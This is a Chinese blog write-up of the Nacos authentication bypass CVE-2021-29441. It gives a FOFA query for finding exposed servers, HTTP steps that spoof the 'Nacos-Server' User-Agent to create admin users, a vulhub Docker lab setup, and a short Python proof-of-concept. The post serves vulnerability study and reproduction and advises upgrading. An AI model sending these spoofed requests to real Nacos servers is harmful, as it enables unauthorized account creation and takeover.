Nacos 身份验证绕过漏洞(CVE-2021-29441)

一、描述

nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台,在早期低版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证

二、资产测绘

fofa:title=“nacos”
在这里插入图片描述

三、影响版本

Nacos <= 2.0.0-ALPHA.1

四、漏洞复现

1、访问/nacos/v1/auth/users?pageNo=1&pageSize=9验证漏洞是否存在
1、将UA改为:Nacos-Server
2、POST方法提交
3、POST /nacos/v1/auth/users?username=test&password=test HTTP/1.1

1、访问/nacos/v1/auth/users?pageNo=1&pageSize=9验证漏洞是否存在
在这里插入图片描述

在这里插入图片描述
2、创建用户
在这里插入图片描述
使用账号登录系统
在这里插入图片描述

五、修复建议

升级到最新版nacos

正在学习网络安全的小伙伴,有需要安全资料或者CISP资料的可以关注安全技术达人公众号,后期回不断分享安全知识,回复“学习资料”可领取网络安全书籍。

### 关于CVE-2021-29441漏洞详情 针对阿里巴巴Nacos存在的权限认证绕过漏洞(CVE-2021-29441),当接收到HTTP请求时,如果`User-Agent`头被设置为"Nacos-Server",服务器将不会对该请求做进一步的身份验证。这种行为原本是为了方便服务间通信而设计,但由于实现过于简化且直接在源代码中硬编码了此条件,使得任何能够控制HTTP头部的客户端都可以轻易模拟这一特定值并规避身份验证机制[^3]。 受影响版本包括但不限于官方发布的某些指定版次,在这些版本中的安全策略存在缺陷,允许未经许可的操作被执行,比如读取管理员账户信息、创建新用户以及移除现有账号等高危动作。 ### 利用方法概述 为了重现或研究该漏洞的影响范围及其具体表现形式,可以通过如下步骤来构建实验环境: #### 准备工作 确保已安装Docker及docker-compose工具,并拉取vulhub项目仓库至本地文件系统内。 ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/nacos/CVE-2021-29441/ ``` 启动含有易受攻击组件的服务实例: ```bash docker-compose up -d ``` 此时应该有一个运行着有缺陷版本Nacos集群管理平台的容器正在监听网络连接请求。 #### 实施测试 构造恶意HTTP GET/POST请求向目标地址发送带有特制`User-Agent:Nacos-Server`字段的消息体;这可通过多种编程语言完成,下面给出Python脚本作为例子之一: ```python import requests url = "http://localhost:8848/nacos/v1/auth/users/login" headers = { 'User-Agent': 'Nacos-Server' } response = requests.get(url, headers=headers) print(response.text) ``` 上述代码片段尝试访问默认路径下的登录接口,预期结果是在无需提供合法凭证的情况下成功返回响应数据,证明确实能绕过正常的安全检查流程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值